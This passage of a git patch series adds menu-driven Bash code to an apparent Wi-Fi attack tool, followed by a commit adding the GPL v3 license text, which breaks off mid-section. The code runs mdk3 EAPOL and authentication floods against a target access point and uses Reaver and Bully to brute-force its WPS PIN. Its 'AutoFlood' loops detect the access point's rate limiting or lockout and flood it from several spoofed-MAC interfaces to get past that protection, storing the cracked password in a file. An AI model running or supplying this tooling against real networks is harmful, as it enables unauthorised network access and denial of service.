$WIFI_MONITOR1" & +menu +;; + 5) +clear +reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_ASOC1 + fi + sleep 1 +done +menu +;; + 6) +clear +reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_EAPOL1 + fi + sleep 1 +done +menu +;; + 7) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 +menu +;; + 8) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_ASOC1 + fi + sleep 1 +done +menu +;; + 9) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_EAPOL1 + fi + sleep 1 +done +menu +;; + *)Invalid Option +menu +;; +esac +} + +menu + +;; + 2) +clear + +echo +read -p " - What is the name of your 1st Wlan WIFI_MONITOR (Ex:Wlan0) - ": WIFI_MONITOR1; +clear +echo +read -p " - What is the name of your 2nd Wlan WIFI_MONITOR (Ex:Wlan1) - ": WIFI_MONITOR2; +clear + +scan_for_targets + +clear + +enable_mon_mode_1 + +enable_mon_mode_2 + +clear + +echo "************** - Would you like to set the 2 WIFI_MONITORs to an Identical MAC Address? - ************** +1)Yes +2)No" + +read f +case $f in + 1) +clear + +mac_change_1 + +mac_change_2 + +clear +;; + 2) +;; + *)Invalid Option +;; +esac + + + +menu () { +clear +echo "************** - Which Attack Would You Like To Use? - ************** +0)Select New Target Network +1)EAPOL Start Flood +2)Authentication Flood +3)Reaver +4)Check if Access Point WPS is UNLOCKED +5)Reaver with AutoFlood(ASOC) +6)Reaver with AutoFlood(EAPOL) +7)Bully +8)Bully with AutoFlood(ASOC) +9)Bully with AutoFlood(EAPOL) + +*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" + +read g +case $g in + 0) +clear +scan_for_targets +enable_mon_mode_1 +menu +;; + 1) +clear +timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 +menu +;; + 2) +clear +timeout 60 mdk3 $WIFI_MONITOR1 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m +menu +;; + 3) +clear +reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv +menu +;; + 4) +clear +xterm -e "wash -i $WIFI_MONITOR1" & +menu +;; + 5) +clear +reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_ASOC2 + fi + sleep 1 +done +menu +;; + 6) +clear +reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_EAPOL2 + fi + sleep 1 +done +menu +;; + 7) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 +menu +;; + 8) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_ASOC2 + fi + sleep 1 +done +menu +;; + 9) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_EAPOL2 + fi + sleep 1 +done +menu +;; + *)Invalid Option +menu +;; +esac + +} + +menu + +;; + 3) +clear +echo +read -p " - What is the name of your 1st Wlan WIFI_MONITOR (Ex:Wlan0) - ": WIFI_MONITOR1; +clear +echo +read -p " - What is the name of your 2nd Wlan WIFI_MONITOR (Ex:Wlan1) - ": WIFI_MONITOR2; +clear +echo +read -p " - What is the name of your 3rd Wlan WIFI_MONITOR (Ex:Wlan2) - ": WIFI_MONITOR3; +clear + +scan_for_targets + +clear + + +enable_mon_mode_1 + +enable_mon_mode_2 + +enable_mon_mode_3 + + + +clear + +echo "************** - Would you like to set the 3 WIFI_MONITORs to an Identical MAC Address? - ************** +1)Yes +2)No" + +read i +case $i in + 1) +clear + +mac_change_1 + +mac_change_2 + +mac_change_3 + +clear +;; + 2) +;; + *)Invalid Option +;; +esac + + +menu () { +clear +echo "************** - Which Attack Would You Like To Use? - ************** +0)Select New Target Network +1)EAPOL Start Flood +2)Authentication Flood +3)Reaver +4)Check if Access Point WPS is UNLOCKED +5)Reaver with AutoFlood(ASOC) +6)Reaver with AutoFlood(EAPOL) +7)Bully +8)Bully with AutoFlood(ASOC) +9)Bully with AutoFlood(EAPOL) + +*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" + +read j +case $j in + 0) +clear +scan_for_targets +enable_mon_mode_1 +menu +;; + 1) +clear +timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 +menu +;; + 2) +clear +timeout 60 mdk3 $WIFI_MONITOR1 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m +menu +;; + 3) +clear +reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv +menu +;; + 4) +clear +xterm -e "wash -i $WIFI_MONITOR1" & +menu +;; + 5) +clear +reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_ASOC3 + fi + sleep 1 +done +menu +;; + 6) +clear +reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_EAPOL3 + fi + sleep 1 +done +menu +;; + 7) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 +menu +;; + 8) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_ASOC3 + fi + sleep 1 +done +menu +;; + 9) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_EAPOL3 + fi + sleep 1 +done +menu +;; + *)Invalid Option +menu +;; +esac +} + +menu + +;; + 4) +clear +echo +read -p " - What is the name of your 1st Wlan WIFI_MONITOR (Ex:Wlan0) - ": WIFI_MONITOR1; +clear +echo +read -p " - What is the name of your 2nd Wlan WIFI_MONITOR (Ex:Wlan1) - ": WIFI_MONITOR2; +clear +echo +read -p " - What is the name of your 3rd Wlan WIFI_MONITOR (Ex:Wlan2) - ": WIFI_MONITOR3; +clear +echo +read -p " - What is the name of your 4th Wlan WIFI_MONITOR (Ex:Wlan3) - ": WIFI_MONITOR4; +clear + +scan_for_targets + +clear + +enable_mon_mode_1 + +enable_mon_mode_2 + +enable_mon_mode_3 + +enable_mon_mode_4 + + +clear + +echo "************** - Would you like to set ALL Wlan WIFI_MONITORs to the same MAC Address? - ************** +1)Yes +2)No" + +read l +case $l in + 1) +clear + +mac_change_1 + +mac_change_2 + +mac_change_3 + +mac_change_4 + +clear +;; + 2) +;; + *)Invalid Option +;; +esac + +clear + +menu () { +clear +echo "************** - Which Attack Would You Like To Use? - ************** +0)Select New Target Network +1)EAPOL Start Flood +2)Authentication Flood +3)Reaver +4)Check if Access Point WPS is UNLOCKED +5)Reaver with AutoFlood(ASOC) +6)Reaver with AutoFlood(EAPOL) +7)Bully +8)Bully with AutoFlood(ASOC) +9)Bully with AutoFlood(EAPOL) + +*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" + +read m +case $m in + 0) +clear +scan_for_targets +enable_mon_mode_1 +menu +;; + 1) +clear +timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250 +menu +;; + 2) +clear +timeout 60 mdk3 $WIFI_MONITOR1 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m +menu +;; + 3) +clear +reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv +menu +;; + 4) +clear +xterm -e "wash -i $WIFI_MONITOR1" & +menu +;; + 5) +clear +reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_ASOC4 + fi + sleep 1 +done +menu +;; + 6) +clear +reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_EAPOL4 + fi + sleep 1 +done +menu +;; + 7) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 +menu +;; + 8) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_ASOC4 + fi + sleep 1 +done +menu +;; + 9) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_EAPOL4 + fi + sleep 1 +done +menu +;; + *)Invalid Option +menu +;; +esac +} + +menu + +;; + 5) +clear +echo +read -p " - What is the name of your 1st Wlan WIFI_MONITOR (Ex:Wlan0) - ": WIFI_MONITOR1; +clear +echo +read -p " - What is the name of your 2nd Wlan WIFI_MONITOR (Ex:Wlan1) - ": WIFI_MONITOR2; +clear +echo +read -p " - What is the name of your 3rd Wlan WIFI_MONITOR (Ex:Wlan2) - ": WIFI_MONITOR3; +clear +echo +read -p " - What is the name of your 4th Wlan WIFI_MONITOR (Ex:Wlan3) - ": WIFI_MONITOR4; +clear +echo +read -p " - What is the name of your 5th Wlan WIFI_MONITOR (Ex:Wlan4) - ": WIFI_MONITOR5; +clear + +scan_for_targets + +clear + +enable_mon_mode_1 + +enable_mon_mode_2 + +enable_mon_mode_3 + +enable_mon_mode_4 + +enable_mon_mode_5 + +clear + +echo "************** - Would you like to set ALL Wlan WIFI_MONITORs to the same MAC Address? - ************** +1)Yes +2)No" + +read o +case $o in + 1) +clear + +mac_change_1 + +mac_change_2 + +mac_change_3 + +mac_change_4 + +mac_change_5 + +clear +;; + 2) +;; + *)Invalid Option +;; +esac + + +menu () { +clear +echo "************** - Which Attack Would You Like To Use? - ************** +0)Select New Target Network +1)EAPOL Start Flood +2)Authentication Flood +3)Reaver +4)Check if Access Point WPS is UNLOCKED +5)Reaver with AutoFlood(ASOC) +6)Reaver with AutoFlood(EAPOL) +7)Bully +8)Bully with AutoFlood(ASOC) +9)Bully with AutoFlood(EAPOL) + +*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" + +read p +case $p in + 0) +clear +scan_for_targets +enable_mon_mode_1 +menu +;; + 1) +clear +timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR5 x 0 -t $BSSID -n $ESSID -s 250 +menu +;; + 2) +clear +timeout 60 mdk3 $WIFI_MONITOR1 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR5 a -a $BSSID -m +menu +;; + 3) +clear +reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv +menu +;; + 4) +clear +xterm -e "wash -i $WIFI_MONITOR1" & +menu +;; + 5) +clear +reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_ASOC5 + fi + sleep 1 +done +menu +;; + 6) +clear +reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_EAPOL5 + fi + sleep 1 +done +menu +;; + 7) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 +menu +;; + 8) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_ASOC5 + fi + sleep 1 +done +menu +;; + 9) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_EAPOL5 + fi + sleep 1 +done +menu +;; + *)Invalid Option +menu +;; +esac +} + +menu + +;; + +esac + +} + function handshakelocation { conditional_clear @@ -964,7 +2147,7 @@ function deauthforce { echo " " echo -e " "$blue"1)"$transparent" aircrack-ng (Miss chance)" echo -e " "$blue"2)"$transparent" pyrit" - echo -e " "$blue"3)"$transparent" Back" + echo -e " "$blue"6)"$transparent" Back" echo " " echo -n " #> " read yn From 3c8f4bb49357f93951c220416371482661a51f3f Mon Sep 17 00:00:00 2001 From: William Todt Date: Sun, 13 Mar 2016 15:53:51 +0400 Subject: [PATCH 035/294] Create LICENSE --- LICENSE | 674 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 674 insertions(+) create mode 100644 LICENSE diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..9cecc1d --- /dev/null +++ b/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, 